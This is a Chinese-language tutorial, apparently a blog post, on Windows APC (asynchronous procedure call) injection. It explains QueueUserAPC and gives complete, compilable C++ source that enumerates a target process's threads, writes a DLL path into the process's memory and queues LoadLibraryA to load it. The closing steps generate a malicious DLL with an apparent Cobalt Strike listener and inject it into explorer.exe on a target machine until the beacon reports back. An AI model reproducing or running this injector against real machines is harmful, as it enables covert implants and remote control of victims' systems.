APC 是一个简称,全称为Asynchronous Procedure Call,叫异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制。
MSDN解释为:
QueueUserApc
:函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中
APCproc
:函数作用: 回调函数的写法.
QueueUserAPC
DWORD QueueUserAPC( PAPCFUNCpfnAPC, // APC function HANDLEhThread, // handle to thread ULONG_PTRdwData // APC function parameter );
参数1表示执行函数的地址,当开始执行该APC的时候,程序会跳转到该函数地址处来执行。
参数2表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT
访问权限。
参数3表示传递给执行函数的参数,与远线程注入类似,如果QueueUserAPC
的第一个参数为LoadLibraryA
,第三个参数设置的是dll路径即可完成dll注入。
往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC
介绍一下应用程序的APC
APC是往线程中插入一个回调函数,但是用的APC调用这个回调函数是有条件的.在Msdn的写法如下
上面说到要要使用SleepEx
,signalObjectAndWait
.....等等这些函数才会触发。
这就有了APC注入的条件:
1.必须是多线程环境下
2.注入的程序必须会调用上面的那些同步对象.
1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断
2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数
3.我们利用QueueUserApc,往这个队列中插入一个回调
4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去
1.利用快照枚举所有的线程
2.写入远程内存,写入的是Dll的路径
3.插入我们的DLL即可
编写一个根据进程名获取pid的函数,然后根据PID获取所有的线程ID,这里我就将两个函数集合在一起,通过自己输入PID来获取指定进程的线程并写入数组
//列出指定进程的所有线程 BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) { // 申请空间 DWORD dwThreadIdListLength = 0; DWORD dwThreadIdListMaxCount = 2000; LPDWORD pThreadIdList = NULL; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pThreadIdList == NULL) { return FALSE; } RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD)); THREADENTRY32 th32 = { 0 }; // 拍摄快照 hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID); if (hThreadSnap == INVALID_HANDLE_VALUE) { return FALSE; } // 结构的大小 th32.dwSize = sizeof(THREADENTRY32); // 遍历所有THREADENTRY32结构, 按顺序填入数组 BOOL bRet = Thread32First(hThreadSnap, &th32); while (bRet) { if (th32.th32OwnerProcessID == th32ProcessID) { if (dwThreadIdListLength >= dwThreadIdListMaxCount) { break; } pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID; } bRet = Thread32Next(hThreadSnap, &th32); } *pThreadIdListLength = dwThreadIdListLength; *ppThreadIdList = pThreadIdList; return TRUE; }
然后是apc注入的主函数,首先使用VirtualAllocEx
远程申请内存
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength) { // 申请内存 PVOID lpAddr = NULL; SIZE_T page_size = 4096; lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpAddr == NULL) { ShowError("VirtualAllocEx - Error\n\n"); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess); return FALSE; } // 把Dll的路径复制到内存中 if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)) { ShowError("WriteProcessMemory - Error\n\n"); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess); return FALSE; } // 获得LoadLibraryA的地址 PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // 遍历线程, 插入APC float fail = 0; for (int i = dwThreadIdListLength - 1; i >= 0; i--) { // 打开线程 HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]); if (hThread) { // 插入APC if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) { fail++; } // 关闭线程句柄 ::CloseHandle(hThread); hThread = NULL; } }
使用WriteProcessMemory
把dll路径写入内存
::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)
获取LoadLibraryA
的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
便利线程并插入APC,这里定义一个fail并进行判断,如果QueueUserAPC
返回的值为NULL则线程遍历失败,fail的值就+1
for (int i = dwThreadIdListLength - 1; i >= 0; i--) { // 打开线程 HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]); if (hThread) { // 插入APC if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) { fail++; } } }
主函数,定义dll地址
strcpy_s(wzDllFullPath, "加载要注入的dll的路径");
使用OpenProcess
打开句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
调用前面写好的APCInject
函数实现APC注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength)) { printf("Failed to inject DLL\n"); return FALSE; }
采用手动输入的方式,通过cin >> ulProcessID
将接收到的参数赋给ulProcessID
// inject3.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 #include <iostream> #include<Windows.h> #include<TlHelp32.h> using namespace std; void ShowError(const char* pszText) { char szError[MAX_PATH] = { 0 }; ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError()); ::MessageBox(NULL, szError, "ERROR", MB_OK); } //列出指定进程的所有线程 BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) { // 申请空间 DWORD dwThreadIdListLength = 0; DWORD dwThreadIdListMaxCount = 2000; LPDWORD pThreadIdList = NULL; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pThreadIdList == NULL) { return FALSE; } RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD)); THREADENTRY32 th32 = { 0 }; // 拍摄快照 hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID); if (hThreadSnap == INVALID_HANDLE_VALUE) { return FALSE; } // 结构的大小 th32.dwSize = sizeof(THREADENTRY32); //遍历所有THREADENTRY32结构, 按顺序填入数组 BOOL bRet = Thread32First(hThreadSnap, &th32); while (bRet) { if (th32.th32OwnerProcessID == th32ProcessID) { if (dwThreadIdListLength >= dwThreadIdListMaxCount) { break; } pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID; } bRet = Thread32Next(hThreadSnap, &th32); } *pThreadIdListLength = dwThreadIdListLength; *ppThreadIdList = pThreadIdList; return TRUE; } BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength) { // 申请内存 PVOID lpAddr = NULL; SIZE_T page_size = 4096; lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpAddr == NULL) { ShowError("VirtualAllocEx - Error\n\n"); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess); return FALSE; } // 把Dll的路径复制到内存中 if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)) { ShowError("WriteProcessMemory - Error\n\n"); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess); return FALSE; } // 获得LoadLibraryA的地址 PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // 遍历线程, 插入APC float fail = 0; for (int i = dwThreadIdListLength - 1; i >= 0; i--) { // 打开线程 HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]); if (hThread) { // 插入APC if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) { fail++; } // 关闭线程句柄 ::CloseHandle(hThread); hThread = NULL; } } printf("Total Thread: %d\n", dwThreadIdListLength); printf("Total Failed: %d\n", (int)fail); if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5) { printf("Success to Inject APC\n"); return TRUE; } else { printf("Inject may be failed\n"); return FALSE; } } int main() { ULONG32 ulProcessID = 0; printf("Input the Process ID:"); cin >> ulProcessID; CHAR wzDllFullPath[MAX_PATH] = { 0 }; LPDWORD pThreadIdList = NULL; DWORD dwThreadIdListLength = 0; #ifndef _WIN64 strcpy_s(wzDllFullPath, "加载要注入的dll的路径"); #else // _WIN64 strcpy_s(wzDllFullPath, "加载要注入的dll的路径"); #endif if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength)) { printf("Can not list the threads\n"); exit(0); } //打开句柄 HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID); if (hProcess == NULL) { printf("Failed to open Process\n"); return FALSE; } //注入 if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength)) { printf("Failed to inject DLL\n"); return FALSE; } return 0; }
首先CS建立监听,生成一个恶意dll文件
在目标机上运行编译好的exe文件,并输入要注入进程的PID,这里我使用explorer.exe测试
编译,输入PID
查看CS,已经成功上线,且进程也加载了beacon.dll.